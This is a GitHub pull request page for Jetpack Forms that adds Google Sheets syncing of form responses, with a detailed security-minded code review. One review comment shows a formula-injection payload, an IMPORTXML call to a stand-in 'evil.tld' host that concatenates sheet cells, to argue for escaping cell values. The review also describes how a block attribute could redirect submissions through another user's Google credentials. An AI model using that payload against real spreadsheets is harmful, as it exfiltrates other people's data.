Repository navigation
Conversation
|
Are you an Automattician? Please test your changes on all WordPress.com environments to help mitigate accidental explosions.
Interested in more tips and information?
|
github-actions
Bot
added
[Block] Contact Form
[Package] Forms
[Tests] Includes Tests
labels
|
Thank you for your PR! When contributing to Jetpack, we have a few suggestions that can help us test and review your patch:
This comment will be updated as you work on your PR and make changes. If you think that some of those checks are not needed for your PR, please explain why you think so. Thanks for cooperation 🤖 Follow this PR Review Process:
If you have questions about anything, reach out in #jetpack-developers for guidance! |
Code Coverage SummaryCoverage changed in 14 files. Only the first 5 are listed here.
2 files are newly checked for coverage.
Full summary · PHP report · JS report If appropriate, add one of these labels to override the failing coverage check:
Covered by non-unit tests
|
There was a problem hiding this comment.
Pull request overview
Adds the Jetpack-side groundwork to support continuous Google Sheets syncing for form responses by (a) persisting the destination configuration inside each feedback payload so Sync can carry it to WordPress.com, and (b) providing a setup flow (endpoint + services) to create/validate a spreadsheet and optionally backfill existing responses.
Changes:
- Extend
Feedbackv3 payloads with an optional top-levelintegrationsobject (including Google Sheets destination data when enabled). - Add Google Sheets setup/backfill services plus a REST endpoint (
POST wp/v2/feedback/integrations/google-sheets/setup) to create/validate a sheet and seed existing responses. - Add editor-side per-form Google Sheets controls on the Google Drive integration card, with supporting JS/PHP tests and styles.
Reviewed changes
Copilot reviewed 24 out of 24 changed files in this pull request and generated 9 comments.
Show a summary per file
| File | Description |
|---|---|
| projects/packages/forms/src/contact-form/class-feedback.php | Stores/loads integrations in the serialized feedback payload and derives destinations from form attributes at submission time. |
| projects/packages/forms/src/contact-form/class-contact-form.php | Adds googleSheetsData default attribute to the form model. |
| projects/packages/forms/src/contact-form/class-contact-form-endpoint.php | Registers and implements the Google Sheets setup REST endpoint. |
| projects/packages/forms/src/service/class-google-sheets-setup.php | Implements sheet header/row layout, column extraction from form markup, and backfill row building. |
| projects/packages/forms/src/service/class-google-drive.php | Adds sheet ID extraction and a get_sheet() helper for validating existing spreadsheets. |
| projects/packages/forms/src/blocks/contact-form/attributes.ts | Declares the googleSheetsData block attribute in the editor. |
| projects/packages/forms/src/blocks/contact-form/components/jetpack-integrations-modal/hooks/use-integration-cards-data.tsx | Ensures card builders receive editor attributes/setAttributes so per-form settings can be persisted. |
| projects/packages/forms/src/blocks/contact-form/components/jetpack-integrations-modal/helpers/types.ts | Extends editor attribute typings with googleSheetsData and formTitle. |
| projects/packages/forms/src/blocks/contact-form/components/jetpack-integrations-modal/helpers/google-drive.tsx | Enhances the Google Drive card to show per-form syncing controls (block editor) and status messaging (dashboard). |
| projects/packages/forms/src/blocks/contact-form/components/jetpack-integrations-modal/components/google-sheets-sync-controls.tsx | Implements the per-form setup UI and calls the new setup endpoint. |
| projects/packages/forms/src/blocks/contact-form/components/jetpack-integrations-modal/style.scss | Adds layout styling for the new Google Sheets sync controls. |
| projects/packages/forms/tests/php/contact-form/Contact_Form_Test.php | Updates expectations to include the new googleSheetsData attribute. |
| projects/packages/forms/tests/php/contact-form/Feedback_Integrations_Test.php | Adds coverage for integration destination serialization/round-tripping. |
| projects/packages/forms/tests/php/service/Google_Sheets_Setup_Test.php | Adds unit tests for header/row building, backfill, and column parsing from block content. |
| projects/packages/forms/tests/php/service/Google_Drive_Test.php | Adds unit tests for spreadsheet reference → sheet ID extraction. |
| projects/packages/forms/tests/js/blocks/integration-cards-data.test.jsx | Verifies the Google Drive card receives attributes + setAttributes. |
| projects/packages/forms/tests/js/blocks/google-sheets-sync-controls.test.jsx | Adds JS coverage for reference validation, endpoint calls, and error handling. |
| projects/packages/forms/changelog/add-forms-google-sheets-card | Changelog entry for the new per-form Google Sheets UI. |
| projects/packages/forms/changelog/add-forms-google-sheets-lookup | Changelog entry for the sheet lookup helper. |
| projects/packages/forms/changelog/add-forms-google-sheets-setup | Changelog entry for the setup endpoint. |
| projects/packages/forms/changelog/add-forms-google-sheets-sync | Changelog entry for carrying destinations in the response payload. |
| projects/packages/forms/changelog/fix-forms-google-sheets-card-layout | Changelog entry for layout changes in the sync controls. |
| projects/packages/forms/changelog/fix-forms-google-sheets-labels | Changelog entry for column-heading label correctness. |
| projects/packages/forms/changelog/fix-forms-google-sheets-setattributes | Changelog entry for persisting setup results correctly. |
Suppressed comments (2)
projects/packages/forms/tests/php/contact-form/Feedback_Integrations_Test.php:74
- The expected integration payload asserts columns as field IDs ("g1-name", "g2-email"), which conflicts with the label-based column contract used by the setup endpoint and row builder (labels like "Name", "Email"). Updating this expectation keeps the test aligned with the feature contract.
'spreadsheet_id' => '1AbCdEf',
'user_id' => 42,
'columns' => array( 'g1-name', 'g2-email' ),
),
projects/packages/forms/tests/php/contact-form/Feedback_Integrations_Test.php:95
- This assertion expects columns as field IDs, but the feature contract uses field labels for columns. Keeping tests label-based will better reflect what the setup endpoint returns and what the append path expects.
$this->assertSame( array( 'g1-name', 'g2-email' ), $destination['columns'] );
| { __( | ||
| 'New responses to this form are added to your spreadsheet as they arrive.', | ||
| 'jetpack-forms' | ||
| ) } |
| Significance: patch | ||
| Type: fixed | ||
|
|
||
| Forms: fix the Google Sheets sync setup not saving its result. |
| Significance: patch | ||
| Type: changed | ||
|
|
||
| Forms: improve the layout of the Google Sheets sync controls. |
| Significance: minor | ||
| Type: added | ||
|
|
||
| Forms: carry integration destinations in the response payload. |
| Significance: patch | ||
| Type: fixed | ||
|
|
||
| Forms: use the correct field labels as Google Sheets column headings. |
| Significance: minor | ||
| Type: added | ||
|
|
||
| Forms: add an endpoint to set up Google Sheets response sync. |
| Significance: patch | ||
| Type: added | ||
|
|
||
| Forms: add a Google Sheets lookup helper for the sync setup flow. |
| Significance: minor | ||
| Type: added | ||
|
|
||
| Forms: add a per-form control for syncing responses to Google Sheets. |
Review round addressedSeveral things came out of reviewing this, including one security issue and one bug that made the feature produce empty spreadsheets. Pushed in Google Sheets sync bypassed the outbound-destination authorization check
Left as it was, an Author who can edit a post containing a form could hand-write a destination in the code editor naming an arbitrary spreadsheet and an arbitrary user's Google connection, and every submission to that form would be appended there under those credentials. Fixed on both sides of the function: Columns were named "Field", "Field (2)", … and every data cell would have been blank
Now resolves the three shapes a field can actually have, mirroring
Also added the missing The tests that covered this were passing vacuously: they all used self-closing legacy markup carrying
|
| ! isSettingUp && ( mode === 'create' || looksLikeSpreadsheetReference( spreadsheetUrl ) ); | ||
|
|
||
| return ( | ||
| <VStack spacing="4" className="jp-forms__gsheets-sync"> |
There was a problem hiding this comment.
Let's use the newer Stack instead of Vstack/HStack.
| @@ -0,0 +1,216 @@ | |||
| import apiFetch from '@wordpress/api-fetch'; | |||
| import { | |||
| Button, | |||
There was a problem hiding this comment.
Let's use the Button from @wordpress/ui
kraftbj
left a comment
kraftbj
left a comment
There was a problem hiding this comment.
Read through this twice, once for the Jetpack half on its own and once assuming the .com worker does what the description says. Three things I'd want settled before that diff gets written, because they can't be fixed from that side — those are inline, along with five more. Everything else is collected at the bottom so this doesn't turn into thirty threads on a draft.
Cell values aren't escaped. Google_Sheets_Setup::build_row() puts raw submitter input into cells. The one-shot export in this same package runs everything through esc_csv() right before the same Google_Drive::create_sheet() call, and that helper exists because Sheets evaluates =, +, - and @. So a form submitter can put =IMPORTXML("https://evil.tld/?x="&CONCATENATE(A1:Z1)) in a text field and have it run inside the site owner's Drive.
The payload has no response identity and no layout version. "Append exactly once, under the right header" is currently an assumption held by a docblock in this repo and, presumably, a matching one in wpcom. Sync ships the whole post on every update, so marking a response read, spam to not-spam, or a full sync all re-deliver the same append instruction with nothing to dedupe on. And the two metadata columns never cross the boundary at all, so wpcom has to hard-code them, including their translated text. Both are cheap to fix now and expensive later.
In the default form shape, the feature is inert. With central form management on, the block carries ref and save() returns null, so the page has no field blocks. Setup sends the page ID, gets zero columns, creates a "Submitted | Source" sheet, and backfills nothing — and reports success.
The label-over-ID reasoning in the description is convincing and I'd have gotten it backwards. It needs a test that pins it, though; see below. Same for leaving existing sheets untouched, which is the right instinct — it just needs the reconciliation to actually happen somewhere.
Happy to look again once the .com diff is up, since several of these only resolve as a pair.
Smaller things, roughly in order
Label resolution diverges from the runtime in three ways (class-google-sheets-setup.php:192 and :211). get_field_label() uses ! empty( $inner['attrs']['label'] ), so an explicitly empty label reads as absent and falls through to the type default; the runtime uses ?? '' (class-contact-form-plugin.php:581), the empty string wins, and Feedback_Field::get_label( 'csv' ) returns "Field". Header says "Text", value is keyed "Field", column blank forever — and that markup is what the editor writes when someone clears the label text. Second, the type comes from the block name, so field-single-choice and field-multiple-choice reach get_default_label_from_type(), which only has cases for radio and checkbox-multiple. Third, line 211 strips tags but doesn't html_entity_decode(), while Feedback_Field::__construct does — labels are RichText, so Q&A is stored as Q&A and the lookup misses. I haven't confirmed that last one against real saved markup, but the decode presumably exists for a reason.
One test pins all three: submit a response through the same block markup and assert Google_Sheets_Setup::get_columns_from_content( $markup ) === array_keys( $feedback->get_compiled_fields( 'csv', 'label-value' ) ). Right now both sides are asserted against hand-written literals, so a divergence between them can't fail anything.
Existing-sheet mode validates existence, not fit (class-google-sheets-setup.php:364). get_sheet() is documented as returning the sheet's headers, but use_existing_sheet() discards them and returns the form's labels as columns, so the stored payload describes the form and has no established relationship to the destination. It's also a GET only: a sheet shared read-only returns 200, setup reports success, and every append afterwards fails silently. A write probe would move that to setup time. And is_wp_error() is the only check on the return, so a 200 with an unparseable body still reports success with spreadsheet_url quietly set to ''.
Setup commits before anything is persisted (class-contact-form-endpoint.php:1824). The spreadsheet is created and backfilled during the request, but the only record lives in an unsaved block attribute. Close the tab or hit undo and there's a document in the user's Drive holding up to a thousand real responses, unreferenced. Reopening shows an unconfigured card, so clicking again makes a second one; two editors on the same page produce two. Recording the created ID server-side and returning it on a second call would make the route idempotent per form. A Google_Drive::has_valid_connection() check up front would also turn the disconnected case into an actionable message.
Backfill runs synchronously against a 10-second timeout (class-google-sheets-setup.php:36). Up to 1000 fully unserialized responses go to .com as one JSON body, and Client::build_signed_request() defaults to 10s with no override here. On timeout the sheet usually already exists on the far side, so retrying duplicates it. Separately, orderby date ASC with the 1000 cap means a form with 50k responses silently seeds the oldest thousand, while the checkbox says "Copies the responses collected so far."
N+1 in the backfill (class-google-sheets-setup.php:290). The query uses 'fields' => 'ids', which core doesn't prime post caches for, then the loop calls Feedback::get() per ID — up to 1000 separate SELECTs inside the request. A _prime_post_caches( $query->posts, true, true ); after the query batches them. The query also has no 'no_found_rows' => true, so SQL_CALC_FOUND_ROWS plus a SELECT FOUND_ROWS() run every time and nothing reads found_posts.
Empty column list reported as success (class-contact-form-endpoint.php:1806). Same failure the guard two blocks up prevents, one step later: nothing checks the derived list is non-empty, so a wrong ID or an unsaved form creates a header-only spreadsheet and returns 200. With no way to re-run setup from the card, that's unrecoverable from the UI. A 400 along the lines of "Save the form before setting up syncing." would keep the empty sheet from existing.
form_post_id gets no object-level check (class-contact-form-endpoint.php:1807). No get_post(), no post-type check, no current_user_can( 'edit_post', $id ) — the route reads any post's content and pulls up to 1000 feedback rows parented to it. The export cap is admin-only on stock WordPress so I don't think it's exploitable today, and the legacy export is gated the same way, but that one never takes a caller-supplied parent ID.
The IS_WPCOM branch needs a guard or a deploy-order note (class-google-drive.php:155). The suppression comment says the method isn't in the stubs yet, and there's no method_exists() check and no try/catch, so on a Simple site mode: existing is an uncaught Error rather than a WP_Error until wpcom ships. Per the stubs procedure in AGENTS.md the regenerated-stubs PR lands first and the suppression comes out after.
Every failure collapses into one string (class-google-drive.php:174). wp_remote_retrieve_response_code() returns '' for a WP_Error, so a missing or expired token — the case this route most needs to handle well — surfaces as "Unable to fetch the requested data." with status => '', absinted to 0 on the way out. An is_wp_error() check first would let the editor say "reconnect Google Drive." Worth firing jetpack_forms_log on failure too; this PR already uses that action in reconcile_content_destinations(), and right now a "setup keeps failing" report leaves no server-side trace.
Two URL shapes extract_sheet_id() gets wrong (class-google-drive.php:49). /spreadsheets/u/0/d/<id>/edit, which anyone signed into more than one Google account copies, matches neither pattern — and the client mirrors the gap, so the button just greys out with nothing on screen saying why. #/spreadsheets(?:/u/\d+)?/d/([a-zA-Z0-9_-]+)# covers it. And publish-to-web links are /spreadsheets/d/e/2PACX-.../pubhtml, where the capture stops at the first slash and returns the literal "e" as a spreadsheet ID; the bare-ID branch enforces a 10-character floor, this one accepts one character. Both worth adding to data_sheet_references().
The destination is stamped before the status is decided (class-feedback.php:590). Disallowed-list hits (trash), saveResponses: 'no' (jp-temp-feedback), and editor previews all carry it. The preview case looks unintentional, since build_rows_for_feedback_ids() explicitly skips is_test() during backfill — the two halves of the feature disagree about whether preview data belongs in the sheet. The spam behavior is asserted in Feedback_Integrations_Test, so I take that as deliberate, which makes the other three read as unconsidered rather than decided.
The configured card contradicts the toggle (google-sheets-sync-controls.tsx:82). isConfigured checks only spreadsheetId, but the header toggle and set_integrations_from_form() both require enabled too. Switch syncing off and the card still says responses are being added. Toggling off keeps spreadsheetId, so it's an easy state to land in and stay in.
EditorFormAttributes.googleSheetsData omits userId (helpers/types.ts:29), while the GoogleSheetsData type in google-sheets-sync-controls.tsx has it — two hand-maintained shapes already diverged on the field wpcom resolves the Google account from. google-drive.tsx casts past it, so it compiles today; drop the cast or add a second consumer and it silently stops propagating, at which point class-feedback.php:565 defaults it to 0. Importing the exported type makes it one definition.
columns is the only route arg without a sanitize_callback (class-contact-form-endpoint.php:281), while title and spreadsheet_url both get sanitize_text_field — and these become header cells and the row-matching key. Nothing validates they correspond to the form's real fields either, so a caller can freeze an arbitrary list and get a permanently blank sheet. Since the editor never sends this param, dropping it and always deriving server-side may be simplest.
Test coverage. run(), use_existing_sheet(), and the new Google_Drive::get_sheet() have no tests at all — not the mode branch, the spreadsheet_not_created guard, the invalid-URL branch, nor any WP_Error path. Form_Webhooks_Test.php in this package already does this with the pre_http_request filter, so the harness isn't the blocker. On the endpoint side the four new tests cover route registration, permission denial, and framework enum validation, none of which reach the handler body. And integration-cards-data.test.jsx mocks buildGoogleDriveCard away entirely, so isSyncing, isHeaderToggleEnabled, the tooltip logic, and the dashboard badge are all uncovered. The three I'd add first, after the label test above: get_form_columns() against a page whose content is just <!-- wp:jetpack/contact-form {"ref":N} /-->, a post containing two contact-form blocks, and run() with the outbound call mocked.
Changelog (changelog/add-forms-google-sheets-card and the other seven). All eight prefix with "Forms:", which AGENTS.md calls out specifically — the package's own name shouldn't be the prefix inside that package. Existing entries in CHANGELOG.md use component names ("Dashboard:", "Contact Form:", "Responses:"). Also, four of the eight describe fixes to code introduced in this same unreleased PR, which will read oddly once released.
Still open from the earlier review (google-sheets-sync-controls.tsx:3): Stack instead of __experimentalVStack, and Button from @wordpress/ui. The file already pulls Link and Notice from there, so it's just this import left.
Minor (class-contact-form-endpoint.php:1815): backfill: true with mode: existing is silently ignored. The comment explains why and the UI hides the checkbox, so this only affects API callers, but the response gives no indication the backfill didn't happen.
Checked and don't think these are problems
Recording so nobody re-litigates them: the PHP null / TS {} default split on googleSheetsData matches the existing salesforceData precedent; str_starts_with() under a php >=7.2 floor is fine, since core polyfills it and it's already used 20 times in this package; backfill correctly excludes spam, trash, and test submissions; the per-submission path adds no query and no block parsing, which was my main worry about touching load_from_submission(); googleSheetsData is covered by reconcile_content_destinations(); column derivation runs once per setup, not per response; CSRF is covered by the core REST nonce; and render_synced_form() dropping block attributes isn't a problem, since useSyncedFormAutoSave writes them back to the jetpack_form post.
One I couldn't settle: spreadsheetUrl is rendered as a Link href with no scheme check, and any user who can edit the post can write that attribute. React doesn't block javascript: hrefs, it only warns. Whether @wordpress/ui's Link sanitizes, I don't know — deriving the href from spreadsheetId would close it either way.
| ); | ||
|
|
||
| foreach ( $column_labels as $label ) { | ||
| $row[] = isset( $values[ $label ] ) ? (string) $values[ $label ] : ''; |
There was a problem hiding this comment.
These values go into the sheet unescaped. Twenty lines away in class-contact-form-plugin.php:4027 the export path does:
$current_row[] = $this->esc_csv( $export_data[ $single_field_name ][ $i ] );right before handing the rows to the same Google_Drive::create_sheet(). esc_csv() prefixes an apostrophe when the first character is =, +, - or @, which is the whole reason it exists.
A submitter can put =IMPORTXML("https://evil.tld/?x="&CONCATENATE(A1:Z1)) into any text field, and on backfill it lands live in a spreadsheet inside the site owner's Google account and exfiltrates whatever else is in that sheet. Header cells have the same problem — a field label starting with - becomes a formula too.
Since the class doc calls this layout the shared contract, could we pull esc_csv() into a static helper both this and the export path can call, apply it in build_row() and build_header_row(), and mirror it in the wpcom worker? Worth confirming what valueInputOption the .com side uses while you're there, though the existing esc_csv() call is a fairly strong hint.
| * | ||
| * @return The current post ID, or 0 when there is no editor context. | ||
| */ | ||
| function useCurrentPostId(): number { |
There was a problem hiding this comment.
useCurrentPostId() returns the post being edited, which is the wrong ID whenever the block carries ref.
With central form management on (the default), inserting a form creates a jetpack_form post and leaves only ref on the page block, and index.jsx:77 returns null from save() for that case. So the page markup has no jetpack/field-* blocks at all:
get_form_columns()parses the page, finds nothing, returnsarray(). The sheet gets a header of "Submitted | Source" andcolumns: []is frozen onto the form.- The backfill query uses the same ID as
post_parent, butclass-feedback.php:1638parents responses to theref. Zero rows.
The endpoint returns 200 for both, so the card shows "New responses to this form are added to your spreadsheet as they arrive" over a sheet that can never receive one.
The save-time rule is form_id ?? source_id, so mirroring it here should do it — add ref?: number to EditorFormAttributes and use ( attributes?.ref as number ) || currentPostId. The docblock above only accounts for the standalone-form and inline-form cases; the ref-on-a-page shape is the one that's most common now.
| 'google_sheets', | ||
| array( | ||
| 'spreadsheet_id' => (string) $google_sheets['spreadsheetId'], | ||
| 'user_id' => isset( $google_sheets['userId'] ) ? (int) $google_sheets['userId'] : 0, |
There was a problem hiding this comment.
user_id comes straight out of a block attribute and nothing revalidates it. Per the endpoint's comment, wpcom resolves the Google account from this value alone.
The only gate is should_honor_content_destinations(), which keys on the source post's author (class-jetpack-forms.php:189), not on whoever last edited the content. That's fine for webhooks, where the destination is a URL. Here the attribute names a person's credentials: an Editor with edit_others_pages — who can't call the setup route at all, since it needs export — can hand-edit an admin-authored page's block JSON and pin every future submission to their own spreadsheet, written with the admin's Google connection.
Two options I can see: record the destination server-side at setup (post meta on the jetpack_form post, keyed on form plus spreadsheet) and resolve from that at submission rather than from content, or validate here that the userId is a current member of the blog with a stored Drive connection for that spreadsheet, and drop the integration otherwise. Either way I'd want the wpcom worker re-verifying the site/user/spreadsheet triple against what setup recorded rather than trusting the synced payload.
| // majority of forms - which have no integrations - stay byte-identical to | ||
| // what we wrote before this existed. | ||
| if ( ! empty( $this->integrations ) ) { | ||
| $fields_to_serialize['integrations'] = $this->integrations; |
There was a problem hiding this comment.
Nothing here identifies the response, and nothing records that it's been appended. Sync ships the whole post on every update, so:
- an admin opening a response in the dashboard (
mark_as_read()callingwp_update_post()) re-delivers it, - spam to not-spam, trash to untrash, and bulk actions each re-deliver it,
- a full sync re-enqueues every feedback post ever written, each still carrying its destination.
The row itself doesn't help disambiguate either: build_row() emits get_time() and get_entry_short_permalink(), and the permalink is the source page's link, identical for every response from that form. So a duplicate row is indistinguishable from a genuine repeat submission.
Could we put a stable per-response identifier (legacy_feedback_id, or a generated uuid) into the payload and into the row, so the worker can key appends on first insert? On a form with 20k history a single full sync is otherwise a 20k-row burst against one user's Google quota.
| * | ||
| * @return array | ||
| */ | ||
| private static function get_metadata_headers() { |
There was a problem hiding this comment.
The two metadata columns never cross the repo boundary. run() returns only the field labels, and set_integrations_from_form() stores only spreadsheet_id, user_id and columns — so wpcom has to independently hard-code "Submitted" and "Source", in that order, forever. They're __()-translated too, so the header text itself is locale-dependent on the writing side.
There's no schema version on the google_sheets object either, which means neither side can detect during a partial rollout that the other is running an incompatible shape. The failure mode is values under the wrong headings, silently, not an exception.
Could we add a layout_version (or ship the metadata column count and labels) in the stored config and have the worker check it? A named constant plus a comment pointing at the wpcom counterpart would at least force the next person to think about it.
| * @param array $columns List of field labels. | ||
| * @return array List of rows, oldest first. | ||
| */ | ||
| public static function get_backfill_rows( $form_post_id, array $columns ) { |
There was a problem hiding this comment.
Both the column list and the backfill are scoped to the rendering post rather than to a form.
collect_field_labels() walks the whole parsed block tree and takes every jetpack/field-* block regardless of which contact-form it belongs to. And inline forms carry no ref, so responses from every form on a page share post_parent. On a page with a contact form and a newsletter form, setting up sync for one of them puts the other's fields in the header and seeds the other's submissions — names, emails, message bodies — into the new spreadsheet.
The duplicate-label counter spans both forms as well, so if each has a "Name" the header gets "Name" and "Name (2)", while get_compiled_fields() disambiguates within a single response and keys both as "Name". That second column stays blank forever.
Scoping both to a single form instance (the ref, or the block's own subtree) fixes it. If only a post ID is available, refusing setup when the post holds more than one jetpack/contact-form block would at least fail loudly.
| } ); | ||
| }, [ formPostId, formTitle, mode, spreadsheetUrl, backfill, setGoogleSheetsData ] ); | ||
|
|
||
| if ( isConfigured ) { |
There was a problem hiding this comment.
Once spreadsheetId is set there's no way back into the setup controls — no change spreadsheet, no refresh columns, no disconnect. The header toggle only flips enabled; it never touches columns.
Meanwhile the form stays editable. Rename "Phone" to "Mobile" and build_row() looks up the frozen "Phone", misses, and writes '' for every row from then on; the numbers are just dropped. Add a field and its values never reach the sheet at all. Delete one and there's a permanently blank column the user can't remove without hand-editing block attributes. The only recovery is deleting and re-adding the form block, which orphans the first spreadsheet.
At minimum, could we compare the stored columns against the form's current labels on render and show a "this form has changed since setup" notice with a re-run action? Even just keeping the setup controls reachable would help.
| * capabilities to its roles - neither a `user_has_cap` filter nor | ||
| * `get_userdata()->add_cap()` takes effect in this harness. | ||
| */ | ||
| public function test_google_sheets_setup_requires_the_export_capability() { |
There was a problem hiding this comment.
I think this test passes for the wrong reason. It dispatches as the administrator created in setUp(), and WorDBless calls populate_roles(), which grants admins export — so the request clears the capability check and then fails inside the handler because Manager::get_site_id() returns a WP_Error with no connection configured. Since the assertion is only status >= 400, it would pass identically with current_user_can( 'export' ) deleted from the handler.
Asserting on the error code (rest_forbidden) and dispatching as a user with export actually removed would make it bite. The docblock's note that the form_post_id guard "is not reachable from here" points at the same thing — it isn't the capability check doing the blocking.
|
This PR has been marked as stale. This happened because:
If this PR is still useful, please do a [trunk merge or rebase](https://github.com/Automattic/jetpack/blob/trunk/docs/git-workflow.md#keeping-your-branch-up-to-date) and otherwise make sure it's up to date and has clear testing instructions. You may also want to ping possible reviewers in case they've forgotten about it. Please close this PR if you think it's not valid anymore — if you do, please add a brief explanation. If the PR is not updated (or at least commented on) in another month, it will be automatically closed. |
| import { | ||
| Button, | ||
| CheckboxControl, | ||
| RadioControl, | ||
| TextControl, | ||
| __experimentalVStack as VStack, // eslint-disable-line @wordpress/no-unsafe-wp-apis | ||
| } from '@wordpress/components'; |
There was a problem hiding this comment.
As of the latest @wordpress/ui package version bump in Jetpack, you can now use components for all of these from the @wordpress/ui package instead.
Please also rebase onto the latest trunk; you'll see the new linter rule complain about using the old components until you update. If you must use this older component, you can include it in the linter exclusion list for now. Just lemme know!
| formTitle={ ( attributes?.formTitle as string ) || '' } | ||
| /> | ||
| ) : ( | ||
| <p className="integration-card__description"> |
There was a problem hiding this comment.
Can likely be replaced by Text instead of using custom styles.
| if ( isConfigured ) { | ||
| return ( | ||
| <VStack spacing="3" className="jp-forms__gsheets-sync"> | ||
| <p className="integration-card__description"> |
There was a problem hiding this comment.
Can likely use Text instead of custom styles.
See FORMS-96
Proposed changes
Groundwork for keeping a Google Spreadsheet continuously up to date as form responses arrive, rather than the current one-shot "export everything to a brand new sheet".
This is the Jetpack half of a two-part change, and it is a draft. The spreadsheet writing happens on WordPress.com, in a companion diff. Nothing here is user-visible on its own — see "What is missing" below.
Why the write happens on WordPress.com
The obvious shape — a service class hooking
grunion_after_feedback_post_insertedand calling a new wpcom append endpoint, mirroringForm_Webhooks— was rejected, because the response is already on .com:feedbackis not inDefaults::$blacklisted_post_types, so feedback posts sync.post_contentas a JSON v3 payload (Feedback::serialize()/parse_content_v3()), so it rides along with the post rather than needing separate meta.jetpack-formspackage runs on .com, soFeedbackand the row-building code behave identically there.WPCOM_Google_Sheets_Helper::append_rows()already exists on .com; it just was not exposed.So the Jetpack site makes no outbound request when a form is submitted. It writes the destination into the response payload, and Jetpack Sync carries it. Simple and Jetpack sites converge on one code path.
What is in this PR
Feedbackcarries the destination. A new top-levelintegrationskey in the serialized payload, withset_integration()/get_integration()accessors. It lives inpost_contentrather than sidecar post meta so it cannot arrive on .com separately from the response it describes. The key is only emitted when something is configured, so payloads for the overwhelming majority of forms stay byte-identical to before.googleSheetsDataattribute onjetpack/contact-form, declared in both PHP and the block editor.Google_Drive::get_sheet()andextract_sheet_id(), for pointing a form at a spreadsheet the user already owns.Google_Sheets_Setup, holding the sheet creation/validation and — importantly — the row layout. That layout lives in one place because two callers have to agree on it exactly: the backfill that runs here when sync is switched on, and the .com worker that appends every response afterwards.POST wp/v2/feedback/integrations/google-sheets/setup. This is the only Jetpack → .com request in the whole feature, and it runs with a real signed-in user's token, exactly like today's export.Columns are keyed on field labels, not field IDs
Worth calling out, because the reverse looks correct. A field block's
idis an optional setting in Inspector Advanced Controls, populated only for Name variants. When it is empty the server derivesg{context}-{label}, whereContact_Form::get_context()returns the ID of the post the form is rendered on. So a synced form reused on two pages produces different field IDs on each, and because the derivation includes the label, renaming a field changes its ID too.Labels are what the spreadsheet header shows, what
get_compiled_fields( 'csv', 'label-value' )already keys on, and what survives a form being embedded twice. Repeated labels arrive disambiguated asName,Name (2), perFeedback_Field::get_label();Google_Sheets_Setup::get_columns_from_content()reproduces that rule when reading a form's columns.Two notes for reviewers
Feedback::save()was documented@return intbut actually returns$feedback_post ?? 0— aWP_Postor0. Corrected to\WP_Post|int.Google_Drive::get_sheet()'sIS_WPCOMbranch callsget_spreadsheet_summary(), which the companion wpcom diff adds. It carries a temporary@phan-suppress-next-linewith a justification; the symbol has been added tostub-defs.phpin wpcom, and the suppression comes out once the regenerated stubs land.Related product discussion/links
Does this pull request change what data or activity we track or use?
Yes, for forms that opt in. When a site owner switches sync on for a form, each subsequent response is written to a Google Spreadsheet in that owner's Google Drive, using the Google Drive connection they authorised. The destination spreadsheet ID and the connecting user's ID are stored in the response payload so the write can happen on WordPress.com.
No new data is collected from form submitters, and forms without sync switched on are unaffected — they emit no
integrationskey at all.Testing instructions
There is no UI yet. The integrations card that switches sync on is not built, and the .com worker that does the appending is a separate diff. So this PR is testable at the unit and endpoint level only.
Automated checks:
jp test php packages/forms— 952 tests. NoteForm_Webhooks_Test::test_send_webhooks_blocks_localhost_hostnamefails ontrunkin some local environments; it is unrelated to this change.jp phan packages/forms— clean.To exercise the payload by hand:
googleSheetsDataattribute on thejetpack/contact-formblock, e.g. via the code editor:{"enabled":true,"spreadsheetId":"any-string","userId":1,"columns":["Name","Email"]}feedbackpost'spost_content. It should contain anintegrations.google_sheetsobject carrying that spreadsheet ID, user ID and column list.integrationskey at all.To exercise the setup endpoint, with Google Drive connected under Jetpack settings:
POSTto/wp-json/wp/v2/feedback/integrations/google-sheets/setupwith{"form_post_id": <a jetpack_form post ID>, "title": "Test", "mode": "create", "backfill": true}.Submitted,Source, then one column per form field, followed by a row per existing response."mode": "existing"and"spreadsheet_url"set to a sheet you own. It should validate and return without writing a header row — existing sheets are deliberately left untouched, since the user may have their own headings there.Spam behaviour, once the .com side is in place: a response that arrives as spam is not appended, and is appended if and when it is marked "not spam" — its one and only append. Rows are never deleted or rewritten.